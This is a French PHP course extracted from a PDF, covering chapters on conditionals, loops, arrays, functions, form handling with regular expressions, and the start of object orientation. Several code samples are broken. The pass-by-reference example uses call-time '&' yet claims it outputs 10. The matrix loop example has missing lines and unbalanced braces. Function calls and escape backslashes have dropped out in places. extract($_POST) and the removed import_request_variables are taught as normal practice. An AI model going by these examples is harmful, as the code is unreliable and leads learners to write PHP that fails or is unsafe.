$b=$a=2 ;
if ($a==$b)

{
echo '$a et $b sont égaux <br>';
}
else
{
echo '$a et $b sont différents <br>';
}
?>
Le retour de ce code est l’affichage de la chaîne « $a et $b sont égaux » suivie d’un retour à
la ligne.
Il est également possible de combiner des if dans des else. On peut ainsi utiliser plusieurs
conditions dans une même structure.
Syntaxe
< ?php
if (condition_1)
{
bloc_instructions_1 ;
}
elseif (condition_2)
{
}
else
{
}
?>
Exemple
<?php
$a=1;
$b=2;
if ($a==$b)
{
echo '$a et $b sont égaux <br>';
}

elseif ($a > $b)
{
echo '$a est strictement supérieur à $b <br>';
}
else
{
echo '$a est strictement inférieur à $b <br>';
}
?>
Syntaxe alternative
Les accolades sont remplacés par « : » au début et endif ; à la fin.
< ?php
if (condition_1) :
elseif (condition_2) :
else :
endif ;
?>
Exemple
<?php
if ($a == 5):
echo "a égale 5";
echo "...";
elseif ($a == 6):
echo "a égale 6";
echo "!!!";
else:
echo "a ne vaut ni 5 ni 6";
endif;
?>
3.2.2. La structure switch
Elle permet de faire plusieurs tests de valeurs sur le contenu d'une même variable.

Syntaxe
<?php switch ($var) {
case valeur_1 :
Liste d’instructions ;
break ;
case valeur_2 :
break ;
case valeur_n :
break ;
default :
} ?>
Remarque
- $var ne peut être que scalaire c’est-à-dire nombre entier, nombre à virgule flottante
et chaîne de caractère.
- Le mot clé break indique la sortie de la structure conditionnelle. Lorsque l’on omet
le break, l’exécution continue dans les blocs suivants.
- Le mot clé default précède la liste d’instructions qui sera exécutée si l’expression
n’est jamais égale à l’une des valeurs.
Exemple
<?php
$i=5;
switch ($i) {
case 0:
print "i égale 0";
break;
case 1:
print "i égale 1";
break;
case 2:
print "i égale 2";
break;
default:

print "i n'est ni égal à 2, ni à 1, ni à 0.";
}?>
Syntaxe alternative
Les accolades sont remplacés par « : » au début et endswitch ; à la fin.
<?php switch ($var) :
case valeur_1 :
break ;
case valeur_2 :
break ;
case valeur_n :
break ;
default :
endswitch; ?>
3.3. Structures répétitives
3.3.1. L’instruction for
L’instruction for permet d’exécuter plusieurs fois la même série d’instructions.
Syntaxe
< ?php
for (initialisation compteur ; condition ; modification du compteur)
{
bloc d’instructions ;
} ?>
Syntaxe alternative
< ?php
for (initialisation compteur ; condition ; modification du compteur) :
endfor;

?>
Exemple
<?php
for ($i = 1; $i <= 5; $i++)
{
print $i."<br>";
}
?>
L’exemple précédent permet d’afficher les nombre de 1 à 5 suivis par des retours à la ligne.
Remarque
Il existe aussi la boucle foreach qui sera vue en détail avec les tableaux.
3.3.2. L’instruction while
Elle permet d’exécuter plusieurs fois la même série d’instructions tant que la condition est
réalisée.
Syntaxe
<?php
while (condition réalisée) {
} ?>
Syntaxe alternative
<?php
while (condition réalisée) :
endwhile ; ?>
Exemple
< ?php
$i = 1 ;

while ($i < 4) /* tant que i < 4 répéter */
{
echo "$i <br>" ;
$i++ ; /* incrémentation */
} ?>
Ce code affiche les chiffres 1,2 et 3 avec des retours à la ligne après chaque nombre.
3.3.3. L’instruction do..while
Elle est comme while, mais l’instruction est au moins exécutée une fois, avant la première
évaluation de l’expression.
Une seule syntaxe est permise pour cette boucle.
Syntaxe
<?php
do {
}while (condition réalisée) ;
?>
Exemple
<?php
$i = 0;
do {
print $i;
}
while ($i>0);
?>
La boucle précédente affiche le 0 puis s’arrête.
3.4. Branchements inconditionnel
3.4.1. Saut inconditionnel (continue)
L’instruction continue est utilisée dans un bloc d’instructions afin de ne pas exécuter le
restant des instructions de l’itération courante et passer directement à l’itération suivante.

Remarque
L’instruction continue accepte un argument numérique optionnel qui indique combien de
structures emboitées doivent être ignorées.
Exemple
<?php
$i = 0;
while ($i++ < 4)
{
echo "$i";
echo " Dehorsn";
while (1)
{
echo " Milieun";
while (1)
{
echo " Finn";
continue 3;
}
echo "Ceci n'est jamais atteint.n";
}
echo "Ceci non plus.n";
}?>
Dans l’exemple précédent, on affiche les valeurs prises par la variable $i suivi des mots :
Dehors, Milieu et Fin. L’instruction continue indique le passage à la troisième itération par
rapport à l’itération courante c'est-à-dire que les messages « Ceci n’est jamais atteint. » et
« Ceci non plus. » ne seront jamais affichés.
3.4.2. Arrêt inconditionnel (break)
L’instruction break permet de sortir d’une structure for, while, foreach ou switch. break
accepte un argument numérique optionnel indiquant le nombre de structures emboitées
devant être interrompues.
Exemple
<?php

$i = 0;
while ($i < 10)
{
for($j=0 ;$j<5 ;$j++)
{
if ($i==$j)
break; /* Vous pouvez aussi écrire 'break 1;' ici. */
if($j==3)
break 2 ; /*On sort des deux boucles*/
echo "$i" ;
}
$i++;
}
?>
Ce code permet d’afficher les valeurs de $i jusqu’à la valeur 4 et ce $j fois. On aura
l’affichage suivant : 1 2 2 3 3 3 4 4 4.

Développement côté serveur Chapitre 4. Les tableaux
Chapitre 4. Les tableaux
 Reconnaitre les types de tableaux en PHP
 Réaliser le parcours des tableaux scalaires, associatifs et multidimensionnels
 Appliquer les fonctions prédéfinies sur les tableaux
Durée
1h30
Plan du chapitre
4.1. Qu’est-ce qu’un tableau ?............................................................................................37
4.2. Types des tableaux.......................................................................................................38
4.2.1. Tableau simple (scalaire) ......................................................................................38
4.2.2. Tableau associatif..................................................................................................38
4.3. Parcours d’un tableau ..................................................................................................38
4.3.1. Boucle for..............................................................................................................38
4.3.2. Boucle foreach ......................................................................................................39
4.3.2.1. Utilisation avec des tableaux scalaires ...........................................................39
4.3.2.2. Utilisation avec des tableaux associatifs ........................................................40
4.3.3. La fonction print_r ................................................................................................40
4.4. Les tableaux multidimensionnels ................................................................................41
4.4.1. Définition ..............................................................................................................41
4.4.2. Accès aux éléments...............................................................................................41
4.4.3. Parcours d’un tableau multidimensionnel.............................................................42
4.5. Opérations sur les tableaux..........................................................................................43

4.1. Qu’est-ce qu’un tableau ?
Un tableau, en anglais array, est un type de données structuré rassemblant plusieurs valeurs.
Chaque élément d’un tableau est identifié par une clé (numérique ou texte) permettant de lui
faire référence. À chaque clé d’un tableau, on fait correspondre une valeur.
Déclaration
//déclaration et initialisation
$id_tab = array (clé1 => valeur1, clé2=>valeur2, …, clén=>valeurn) ;
//déclaration et ajout des éléments un à un
$id_tab = array () ;
$id_tab [clé1] = valeur1 ;
$id_tab [clé2] = valeur2 ;
…
$id_tab [clén] = valeurn ;
//À partir de PHP 5.4, on utilise les crochets et on peut ajouter des
éléments sans spécifier la clé
$id_tab = [clé1 => valeur1, clé2=>valeur2, …, clén=>valeurn] ;
$id_tab [clén] = valeurn ;
$id_tab [] = valeurn ;
Remarque
 La création d’un tableau à travers la fonction array () n’est pas obligatoire. On peut
déclarer un tableau à la volée par ajout d’éléments un à un.
 Les valeurs contenues dans un tableau peuvent être de types différents.
 La taille du tableau s’incrémente à chaque nouvel élément. (aucune restriction de
taille).
 Une valeur dans un tableau peut elle-même correspondre à un tableau. On parle alors
de tableau multidimensionnel.
 La notion d’énumération est absente en PHP. Pour pallier à ce manque, on peut
utiliser un tableau.
 Une chaîne de caractère est un exemple de tableau particulier dont la taille est le
nombre de caractères composant la chaîne.

4.2. Types des tableaux
4.2.1. Tableau simple (scalaire)
C’est un tableau dont les clés sont des entiers qui commencent toujours par zéro. Dans ce
cas, la clé correspond à l’indice du tableau incrémenté à chaque ajout d’éléments.
Exemple
< ?php //tableau de chaîne de caractères
$tab = array ("1","2") ;
echo $tab[1] ; //Affichage de la valeur 2
$tab[2] = "4" ; //Ajout d’un élément ?>
4.2.2. Tableau associatif
C’est un tableau dont la clé est de type chaîne de caractères. Les cases du tableau ne sont pas
rangées par ordre croissant d’indices mais plutôt repérées par leurs clés.
Exemple
<?php
$tab = array(
"nom"=>"Ben foulen",
"prenom"=>"Foulen",
"specialite"=>"TI",
"groupe"=>21,
"option"=>"MDW");?>
Remarque
Il est possible de mixer tableaux associatifs et tableaux indexés numériquement.
4.3. Parcours d’un tableau
4.3.1. Boucle for
Le parcours basé sur la boucle for est utilisé avec les tableaux scalaire. En effet, la clé
correspond à un indice allant de 0 jusqu’à la taille du tableau - 1.
Exemple

<?php
// Création du tableau $saisons
$saisons = array ('automne', 'hiver', 'printemps', 'été');
// Affichage du contenu du tableau
for ($cpt = 0; $cpt < 4; $cpt++)
{
echo $saisons[$cpt] . ' '; //chaque élément est suivi par un espace
}?>
4.3.2. Boucle foreach
La boucle foreach permet de parcourir toutes les cases d’un tableau. Il s’agit d’une sorte de
boucle for spécialisé pour les tableaux. À chaque itération, foreach va mettre la valeur de
chaque élément du tableau dans une variable temporaire.
Remarque
 La boucle foreach est utilisée pour les deux types de tableaux (scalaire et associatif).
 Dans le cas de tableau associatif, foreach permet de parcourir non seulement les
valeurs mais aussi les clés associées.
4.3.2.1. Utilisation avec des tableaux scalaires
Syntaxe
<?php
$id_tab = array (valeur1, valeur2, …, valeurn) ;
foreach($id_tab as $element)
{
echo $element . ' '; // Affiche $id_tab[0], $id_tab [1], etc.
} ?>
Exemple
<?php
// Création du tableau $saisons
$saisons = array ('automne', 'hiver', 'printemps', 'été');
// Affichage du contenu du tableau
foreach($saisons as $saison)
{

echo $saison . ' '; // Affiche les saisons séparés par des espaces
} ?>
4.3.2.2. Utilisation avec des tableaux associatifs
Syntaxe
<?php
foreach($id_tab as $cle => $valeur)
{
echo '[' . $cle . '] vaut ' . $valeur . '<br/>';
} ?>
Exemple
<?php
$tab = array(
"nom"=>"Ben foulen",
"prenom"=>"Foulen",
"specialite"=>"TI",
"groupe"=>21,
"option"=>"MDW");
foreach($tab as $cle => $valeur)
{
echo '[' . $cle . '] vaut ' . $valeur . '<br/>';
} ?>
Remarque
Pour un tableau associatif, on peut se limiter à un simple accès et/ou modification de la
valeur sans toucher aux clés. Dans ce cas le parcours se limitera seulement aux valeurs.
Ainsi, le parcours serait le même qu’un tableau scalaire.
4.3.3. La fonction print_r
L’utilisation de la fonction print_r () n’est pas typique au tableau. En effet, cette fonction
permet d’afficher des informations lisibles sur une variable. Son utilisation pour les tableaux
convient lors du débogage où on veut afficher le contenu d’un tableau sans se soucier de sa
mise en forme.

Syntaxe
<?php
echo '<pre>';
print_r($id_tab);
echo '</pre>';
?>
La balise <pre> est une balise de HTML5 permettant l’affichage d’un texte préformaté c'est-
à-dire que le texte mis dans cette balise est affiché tel qu’il est écrit. Nous n’avons pas
besoin d’utiliser des balises de mise en forme tel que la balise de retour à la ligne <br>. La
balise <pre> convient énormément pour la mise en forme rapide des tableaux.
4.4. Les tableaux multidimensionnels
4.4.1. Définition
Un tableau multidimensionnel est un tableau dont les valeurs sont des tableaux. Il s’agit de
tableau de tableaux.
Syntaxe
< ?php
$tab_dim = array() ;
$tab_dim [0] = array(val1,val2,…,valn) ;
$tab_dim [1] = array(val1,val2,…,valn) ;
…
$tab_dim [n] = array(val1,val2,…,valn) ;
?>
4.4.2. Accès aux éléments
L’accès aux éléments d’un tableau de tableaux s’effectue à travers le numéro de la ligne et le
numéro de la colonne de l’élément.
Syntaxe
< ?php

echo $tab_dim [$i][$j] ; //Affichage de l’élément situé à la ième ligne
et jème colonne?>
4.4.3. Parcours d’un tableau multidimensionnel
Syntaxe
<?php
//Création du tableau multidimensionnel
$tab_dim = array ();
$tab_dim [ligne1] = array (val1,val2,…,valn);
$tab_dim [ligne2] = array (val1,val2,…,valn);
…
$tab_dim [lignen] = array (val1,val2,…,valn);
//Parcours de la matrice
foreach ($matrice as $vecteur){
foreach ($vecteur as $element){
echo $element . ' ';
}
}?>
Exemple
<?php
//Création de la matrice
$matrice = array ();
$matrice [0] = array (1,2,3);
//Parcours de la matrice
foreach ($matrice as $vecteur){
echo $element . ' '; //Les éléments sont affichés triés et séparés
par des espaces
}
}?>

4.5. Opérations sur les tableaux
PHP propose plusieurs fonctions prédéfinies manipulant les tableaux dont les plus utilisées
sont :
 count() et sizeof() retournent toutes les deux la taille du tableau passé en paramètre.
 sort() trie les éléments d’un tableau du plus petit au plus grand.
 rsort() trie les éléments d’un tableau du plus grand au plus petit.
 in_array() permet de vérifier qu’une valeur est présente dans un tableau.
 array_key_exists() indique si un tableau contient ou non une clé donné.
 array_rand() extrait une ou plusieurs valeurs du tableau au hasard.
 current() retourne la valeur de l’élément courant du tableau (où se trouve le
pointeur).
 implode() rassemble les éléments d’un tableau en une chaîne de caractères en
ajoutant entre les éléments un séparateur : $chaine = implode($separateur,$tableau);
 explode() coupe une chaîne en segments selon un séparateur et retourne un tableau
qui contient ces segments (l’inverse de la fonction implode) : $tableau =
explode($separateur,$chaine);

Développement côté serveur Chapitre 5. Les fonctions
Chapitre 5. Les fonctions
 Utiliser les fonctions pour écrire un script structuré
 Distinguer les modes de passage des paramètres (par valeur et par références)
 Réutiliser un script en se basant sur l’inclusion de fichiers
 Reconnaitre les fonctions prédéfinies sur les dates
Durée
1h30
Plan du chapitre
5.1. Qu’est-ce qu’une fonction ? ........................................................................................45
5.2. Visibilité des variables.................................................................................................45
5.3. Portée des variables .....................................................................................................46
5.4. Passage de paramètres .................................................................................................47
5.4.1. Par valeur ..............................................................................................................47
5.4.2. Par référence .........................................................................................................48
5.5. Quelques fonctions internes de PHP ...........................................................................48
5.5.1. Fonctions de gestion des arguments .....................................................................48
5.5.2. Inclusion de fichiers..............................................................................................49
5.5.3. Fonctions sur les dates ..........................................................................................49
5.5.3.1. Fonction date () ..............................................................................................49
5.5.3.2. Le timestamp en PHP.....................................................................................50

5.1. Qu’est-ce qu’une fonction ?
Une fonction permet la réutilisation du code PHP. Elle se compose d’une série d’instructions
qui retourne zéro ou plusieurs valeurs. On distingue deux types de fonctions :
 Les « fonctions intégrées » ou « built-in » incluses par défaut avec les distributions
de PHP (print, echo, etc.).
 Les « fonctions utilisateur » définies par le programmeur.
Syntaxe
<?php
function nom_fonction ($params1, $params2, $params3, ... , $paramsN)
{
// code de la fonction
return ($une_variable) // facultatif
}?>
Remarque
 Une fonction est déclarée par le mot clé function.
 Une fonction peut être définie sans paramètres.
 L’instruction return est optionnelle. Elle renvoie le retour de la fonction s’il existe.
 Une fonction doit être déclarée une seule fois, sinon un message d’erreur sera
affiché.
 L’appel d’une fonction se fait dans le programme principal après sa déclaration. Une
fonction est appelée grâce à son nom suivi de ses paramètres.
 Lors de la déclaration d’une fonction, on peut affecter une valeur par défaut à un
paramètre P. Ainsi, si on appelle la fonction sans spécifier une valeur pour P, la
valeur par défaut sera affectée à P.
5.2. Visibilité des variables
La visibilité d’une variable dépend de son contexte de déclaration. On distingue trois
niveaux de visibilité en PHP :

 Les variables super globales : Il s’agit des tableaux tels que $_SESSION,
$_COOKIE, $_GET, $_POST, $_SERVER, etc. Ils sont créés par PHP et sont
accessibles (en lecture et écriture) depuis n’importe où dans le programme. Ils
peuvent donc être appelés à l’intérieur d’une fonction sans être passés en paramètre
de celle-ci.
 Les variables globales : Il s’agit des structures de données qui ne sont visibles que
dans le programme principal.
 Les variables locales : Il s’agit de variables (y compris les paramètres) visibles
seulement à l’intérieur d’une fonction. Aucune modification ne peut être faite sur ces
variables par le programme principal. Les variables locales sont automatiquement
supprimées de la mémoire lorsque la fonction a été complètement exécutée.
5.3. Portée des variables
Trois niveaux de portée de variables sont définis par le langage PHP :
 Une variable déclarée dans la fonction et préfixée par le mot clé global est
considérée comme globale. Elle devient alors visible dans la fonction mais aussi à
l’extérieur de celle-ci.
 Une variable déclarée traditionnellement dans la fonction prend par défaut une
portée locale. Elle est alors visible uniquement dans la fonction et est détruite à la fin
de son exécution.
 Une variable déclarée dans la fonction et préfixée par le mot-clé static est considérée
comme une variable locale dont la valeur se conserve tout au long de l’exécution du
programme principal. Cette valeur pourra alors être réutilisée en appelant la fonction
de nouvelles fois.
Exemple
<?php
// Déclaration de la fonction
function remplirReservoir($volume, $prixAuLitre){
// Déclaration des variables
global $budgetEssence; // accessible en lecture/écriture dans la
fonction et à l'extérieur
static $volumeTotalEssence; //Sa valeur est conservée pour les
appels suivants de la fonction

$montant = 0;
// Calcul du prix du remplissage de l'essence
$montant = round ($volume * $prixAuLitre, 3); //réalise
l’arrondissement à 3 chiffres après la virgule
// Retrait de $montant à $budgetEssence
$budgetEssence -= $montant;
// Ajout du volume au volume total enregistré
$volumeTotalEssence += $volume;
// Affichage des informations
echo 'Vous avez mis ', $volume ,' L d'essence.';
echo 'Prix au Litre : ', $prixAuLitre ,' dinars.</br>';
echo 'Prix total : ', $montant ,' dinars.</br>';
echo 'Budget essence restant : ', $budgetEssence ,' dinars.</br>';
echo 'Volume total d'essence depuis le début : ',
$volumeTotalEssence ,' L.';
}
// Déclaration des variables globales
$budgetEssence = 500;
// Premier plein d'essence
remplirReservoir(42, 1.200);
echo '<hr>';
// Second plein d'essence
echo '<hr>';
// Troisième plein d'essence
?>
5.4. Passage de paramètres
5.4.1. Par valeur
Le passage par valeur désigne un mode de passage tel que si la variable subit des
modifications à l’intérieur d’une fonction, ces modifications ne sont pas perçues par le
programme principal.
Exemple
<?php
function multiplierParDeux($nombre)
{

$nombre *= 2;
}
$unNombre = 5;
multiplierParDeux($unNombre); //passage par valeur de $unNombre
echo $unNombre; // Affiche 5
?>
5.4.2. Par référence
Le passage par référence consiste à faire passer l’adresse de la variable à la fonction. Ainsi,
si la variable est modifiée à l’intérieur de la fonction, ces modifications auront des
répercussions sur le programme principal.
Remarque
Le passage par référence est réalisé par le signe « & » devant la variable référencée.
Exemple
<?php
function multiplierParDeux($nombre)
{
$nombre *= 2;
}
$unNombre = 5;
multiplierParDeux(&$unNombre); //Passage par référence de $unNombre
echo $unNombre; // Affiche 10
?>
5.5. Quelques fonctions internes de PHP
5.5.1. Fonctions de gestion des arguments
À partir de PHP4, trois fonctions ont été définies pour la manipulation des arguments passés
en paramètres à une fonction :
 int func_num_args (void) : retourne le nombre d’arguments passés à la fonction
utilisateur courante.
 mixed func_get_arg (int $arg_num) : récupère un élément de la liste des arguments
d’une fonction utilisateur. Les arguments sont comptés à partir de 0.

 array func_get_args (void) : récupère les arguments d’une fonction sous forme d’un
tableau.
5.5.2. Inclusion de fichiers
PHP propose quatre fonctions différentes d’inclusion de fichiers :
 include 'nom_fichier.php' : elle sert à inclure un fichier en spécifiant son chemin. Si
le chemin fourni n’est pas trouvé, PHP renvoie un warning.
 include_once 'nom_fichier.php' : elle sert à inclure un fichier une seule fois. Si le
fichier à inclure contient plusieurs fonctions, cette fonction sera utile pour éviter les
erreurs dues à une redéfinition des fonctions.
 require 'nom_fichier.php' : elle agit de la même manière que la fonction include sauf
que celle-ci génère une erreur si le fichier spécifié est introuvable. Le fichier est
requis pour le fonctionnement de l’application.
 require_once 'nom_fichier.php' : c’est une combinaison des fonctions require et
include_once. De ce fait cette fonction s’assure d’abord que le fichier à inclure existe
bien, et si ce n’est pas le cas, génère une erreur. Puis elle s’assure que le fichier n’est
utilisé qu’une seule fois.
5.5.3. Fonctions sur les dates
5.5.3.1. Fonction date ()
C’est la fonction par défaut utilisée pour afficher une date dans le format souhaité. Elle
affiche la date et/ou l’heure courante dans le format indiqué en paramètre. Parmi ces
paramètres, on cite :
 Y : année sur 4 chiffres, ex : 2015
 y : année sur 2 chiffres, ex : 15
 m : numéro du mois courant
 d ou j : jour du mois
 H : heure sur 24 heures
 i : minutes
 s : secondes
 F : nom du mois (en toutes lettres)

Exemple
<?php
$date = date("d-m-Y");
$heure = date("H:i");
print("Nous sommes le $date et il est $heure");
?>
Ce code affiche la date et l’heure courante : Nous sommes le jj-mm-aaaa et il est hh:mm
5.5.3.2. Le timestamp en PHP
Un timestamp est un nombre qui indique le nombre de secondes qui se sont écoulées depuis
le premier janvier 1970 (début de l’époque UNIX). Le premier janvier 1970 à minuit, le
timestamp valait 0. Pour afficher le timestamp de la seconde actuelle, on utilise la fonction
time () de PHP.
Remarque
 Pour convertir un timestamp à une date, on utilise date ('format', timestamp).
 Pour convertir une date en timestamp, on utilise la fonction mktime (heures, minutes,
secondes, mois, jour, année) qui retourne le timestamp correspondant à la date
fournie en paramètre.
Exemple
<?php
echo time(); //Affiche le nombre de secondes écoulées depuis 01/01/1970
echo mktime(19, 30, 10, 10, 11, 2015);//Obtenir le timestamp
correspondant à 11/10/2015 19 :30 :10
?>

Développement côté serveur Chapitre 6.Gestion des formulaires
Chapitre 6. Gestion des formulaires
 Manipuler les méthodes d’envoi de données GET et POST
 Valider les données côté serveur en utilisant les expressions régulières
Durée
1h30
Plan du chapitre
6.2. Méthode GET ..............................................................................................................52
6.3. Méthode POST ............................................................................................................53
6.4. La fonction extract.......................................................................................................53
6.5. La fonction import_request_variables.........................................................................54
6.6. Validation des données : Expressions régulières.........................................................54
6.6.1. Définition ..............................................................................................................54
6.6.2. Utilité ....................................................................................................................54
6.6.3. Syntaxe de base.....................................................................................................55
6.6.3.1. Caractères spéciaux........................................................................................55
6.6.3.2. Les classes de caractères ................................................................................56
6.6.3.3. Les intervalles de caractères prédéfinis..........................................................57
6.6.4. Fonctions de manipulation des expressions régulières .........................................57
6.6.4.1. La fonction preg_match..................................................................................57
6.6.4.2. La fonction preg_match_all............................................................................58
6.6.4.3. La fonction preg_replace................................................................................58
6.6.4.4. La fonction preg_split ....................................................................................58

6.1. Introduction
L’écriture de site web en PHP repose sur l’interactivité, et donc la capacité du client à
envoyer, avec son navigateur, des données. Les méthodes principales pour envoyer les
données sont :
 L’utilisation d’une URL (méthode GET)
 L’utilisation d’un formulaire HTML (méthode POST)
Un formulaire est défini en utilisant l’élément <form>. L’action à réaliser pour traiter le
formulaire est précisée en utilisant les attributs :
 ACTION : il indique l’action à exécuter lors de l’envoi des données.
 METHOD : il permet de définir la méthode de transfert des données vers le serveur.
Les deux valeurs possibles sont GET et POST.
Syntaxe
<FORM METHOD="POST" ACTION="script à exécuter">
...
</FORM>
6.2. Méthode GET
La méthode GET permet de récupérer des valeurs passées dans l’URL. Les paramètres
passés sont placées après le point d’interrogation (?). Ensuite, chaque paramètre et sa valeur
sont séparés par un ET commercial (&).
Exemple
http://domaine.fr/maj.php?id=5&name=toto
Dans l’URL précédente, on a deux paramètres id et name qui valent respectivement 5 et toto
dans la page maj.php
Afin de récupérer les valeurs des paramètres présents dans une URL, PHP utilise le tableau
super global (accessible depuis partout) $_GET.

Exemple
//Adresse URL
http://domaine.fr/maj.php?id=5&name=toto
//Accès au paramètre id dans la page maj.php
$une_variable_php = $_GET['id'];
6.3. Méthode POST
Quand un formulaire est posté (method='post' comme attribut de form) à l’aide du bouton
submit, le navigateur transmet les valeurs saisies dans le formulaire à l’URL spécifiée dans
l’attribut action. PHP utilise alors le tableau associatif super global $_POST. Les clés de ce
tableau sont les noms des champs du formulaire.
Exemple
//Formulaire de saisie avec méthode POST
<form method="post" action="maj.php">
Champ texte : <input type="text" name="monchamp"><br>
<input type=submit value="Insérer">
</form>
//Accès au champs du formulaire dans le fichier maj.php
$une_variable_php = $_POST['monchamp'];
6.4. La fonction extract
La fonction extract appliquée à $_POST ou à $_GET permet de créer des variables issus des
champs du formulaire.
Exemple
Se basant sur le formulaire précédent :
<?php
extract($_POST);
echo $monchamp;
?>

6.5. La fonction import_request_variables
La fonction import_request_variables permet d’accéder aux champs d’un formulaire. Cette
fonction prend un ou deux paramètres, le second étant optionnel. Après exécution, on
récupère les variables sans passer par un tableau. Le premier paramètre est le type de
variables qu’on souhaite récupérer :
 P / p : variables de type POST
 G / g : variables de type GET
 C / c : variables de type cookie
Le second paramètre est le préfixe qu’on souhaite donner au nom des variables qu’on va
récupérer.
Remarque
On peut cumuler les trois types de paramètres récupérés mais il faut faire attention à l’ordre.
Exemple
En reprenant le même exemple :
<?php
import_request_variables("P","Post_");
echo $Post_monchamp;
?>
6.6. Validation des données : Expressions régulières
6.6.1. Définition
Une expression régulière est une suite de caractères (normaux et spéciaux). Cette suite de
caractère constitue un masque qui sera appliqué à une chaîne pour trouver les occurrences
correspondant à ce masque.
6.6.2. Utilité
Les expressions régulières (aussi appelées regexp) servent à manipuler des données. Elles
permettent, à partir d’un masque (pattern en anglais), de trouver les différentes parties d’une

chaîne de caractères correspondant à ce masque. Une des utilisations les plus courantes est le
contrôle d’informations fournies via un formulaire.
6.6.3. Syntaxe de base
6.6.3.1. Caractères spéciaux
Caractère Description
Antislash Caractère d’échappement à usage multiple
^ Accent
circonflexe
Représente le début d’une chaîne de caractères (ou d’une ligne si
l’option m est active)
$ Dollar
Représente la fin d'une chaîne de caractères (ou d’une ligne si
l’option m est active)
| Barre verticale Opérateur d’alternative entre l’élément de gauche et celui de droite
. Point
Remplace n’importe quel caractère, hormis un saut de ligne (sauf
si l’option s est active)
* Astérisque
Nombre d’occurrence de zéro ou plus du caractère ou de la
séquence de caractère qui le précède
+ Signe plus
Nombre d’occurrence de un ou plus du caractère ou de la séquence
de caractère qui le précède
? Point
d'interrogation
Nombre d’occurrence de zéro ou un du caractère ou de la séquence
de caractère qui le précède
{ } Accolades
spécifient un intervalle de nombre d’occurrences du caractère ou
de la séquence de caractère qui le précède
( ) Parenthèses
Respectivement ouverture et fermeture d’un sous-masque ou
séquence de caractères
[ ] Crochets Respectivement ouverture et fermeture d’une classe de caractères
Remarque
Si le masque commence par ^ ou se termine par $, on parle de masque ancré.

Exemple
 ^test : Une chaîne de caractère commençant par test
 fin$ : Une chaîne de caractère se terminant par fin
 ^exact$ : La chaîne « exact »
 essai : Une chaîne de caractère contenant la chaîne « essai »
 a{3} : Correspond à la chaîne « aaa »
 b{0,2} : Correspond à une chaîne vide, à « b », ou encore « bb »
 c{1,} : Correspond à un ou plusieurs « c »
 ab* : Le caractère « a » suivi de zéro ou plusieurs « b »
 ab+ : Le caractère « a » suivi de un ou plusieurs « b »
 ab? : Le caractère « a » suivi de zéro ou un « b »
 d.? : Le caractère « d » suivi de zéro ou un caractère quelconque
 ^.{2}t : Une chaîne commençant par deux caractères quelconque suivis d’un « t »
 o|p : Le caractère « o » OU le caractère « p »
 bonjour|soir : On accepte les mots bonjour ou soir
 bon(jour|soir) : On accepte les mots bonjour ou bonsoir
 bon (bon){0,2} : On accepte la chaîne bon, bon bon ou bon bon bon
6.6.3.2. Les classes de caractères
Une classe de caractères est une liste de caractères potentiels. La classe de caractère
remplace uniquement un caractère dans le masque (sauf indication contraire avec en
spécifiant le nombre ou l’intervalle de nombre d’occurrences).
Remarque
Dans une classe de caractères :
 Le signe moins (-), s’il n’est pas au début ou à la fin de la classe, désigne un
intervalle de caractères.
 L’accent circonflexe (^) au début de la classe désigne une classe d’exclusion (pas ce
ou ces caractères).

Exemple
 a[b-d] : On accepte une chaine contenant le caractère « a » suivi du
caractère « b », « c » ou « d »
 ^a[b-d]{1,3} : On accepte une chaine commençant par le caractère « a » suivi de un à
trois caractères qui sont soient « b », « c » ou « d »
6.6.3.3. Les intervalles de caractères prédéfinis
Nom de l’intervalle Description
[:alnum:] Tout caractère alphanumérique ; équivaut à a-zA-Z0-9
[:alpha:] Tout caractère alphabétique, équivaut à a-zA-Z
[:blank:] Tout caractère blanc (espacement, tabulation, etc.)
[:digit:] Tout caractère numérique, équivaut à 0-9
[:punct:] Tout caractère de ponctuation
[:space:] Caractère d’espacement
[:xdigit:] Tout caractère héxadécimal; équivaut à a-fA-F0-9
[:ctrl:] Tout caractère de contrôle
[:print:] Tout caractère imprimable (hormis les caractères de contrôle)
6.6.4. Fonctions de manipulation des expressions régulières
6.6.4.1. La fonction preg_match
Syntaxe
Int preg_match (masque, chaîne_sujet [, tableau_résultat]);
Avec :
 masque : le masque recherché.
 chaîne_sujet : chaine dans laquelle on cherche le masque.
 tableau_resultat : champ optionnel. Il s’agit d’un tableau de correspondance rempli
par la fonction preg_match.
La fonction preg_match retourne 1 si le masque fourni correspond, 0 s’il ne correspond pas,
ou FALSE si une erreur survient.

6.6.4.2. La fonction preg_match_all
Syntaxe
Int preg_match_all (masque, chaine_sujet[, tableau_resultat, paramètre
optionnel]);
Avec :
 masque : le masque recherché.
 chaine_sujet : chaine dans laquelle on cherche le masque.
 tableau_resultat : champ optionnel. Il s’agit d’un tableau de correspondance rempli
par la fonction preg_match_all.
La fonction preg_match_all renvoie dans un tableau toutes les occurrences du maque trouvé
dans la chaîne sujette. Un ordre peut être envoyé par le paramètre optionnel. La fonction
retourne le nombre de résultats qui satisfont le masque complet, ou FALSE si une erreur
survient.
6.6.4.3. La fonction preg_replace
Syntaxe
mixed preg_replace (motif de chaîne, nouveau motif, chaîne sujet, int
limite)
La fonction preg_replace remplace le motif de chaîne par le nouveau motif et retourne la
chaîne modifiée. Si limite est posé, le nombre de remplacements sera limité.
6.6.4.4. La fonction preg_split
Syntaxe
Array preg_split (motif de chaîne, chaîne sujet, int limite, options);
La fonction preg_split retourne un tableau contenant les sous-chaînes de chaîne sujet,
séparée par les chaînes qui vérifient le motif. Si limite est fournie, alors les limite premières
sous-chaînes sont retournées.

Développement côté serveur Chapitre 7.L’orienté objet avec PHP
Chapitre 7. L’orienté objet avec PHP
 Distinguer les notions de classe et objet
 Définir une classe et l’instancier
 Produire un script basé sur l’héritage
Durée
2h15
Plan du chapitre
7.1. Notion de classe...........................................................................................................61
7.1.1. Qu’est-ce qu’une classe ?......................................................................................61
7.1.2. Composition d’une classe .....................................................................................61
7.1.2.1. Les attributs....................................................................................................61
7.1.2.2. Les constantes.................................................................................................61
7.1.2.3. Les méthodes..................................................................................................61
7.1.3. Visibilité des attributs et des méthodes.................................................................62
7.1.4. Déclaration d’une classe .......................................................................................62
7.2. Notion d’objet..............................................................................................................63
7.2.1. Qu’est-ce qu’un objet ?.........................................................................................63
7.2.2. Création d’un objet ...............................................................................................64
7.3. Utilisation des objets ...................................................................................................64
7.3.1. Accès aux attributs................................................................................................64
7.3.2. Accès aux constantes ............................................................................................65
7.3.3. Accès aux méthodes..............................................................................................65
7.4. La variable courante $this............................................................................................66

7.5. Les méthodes magiques...............................................................................................67
7.5.1. __construct () et __destruct ()...............................................................................67
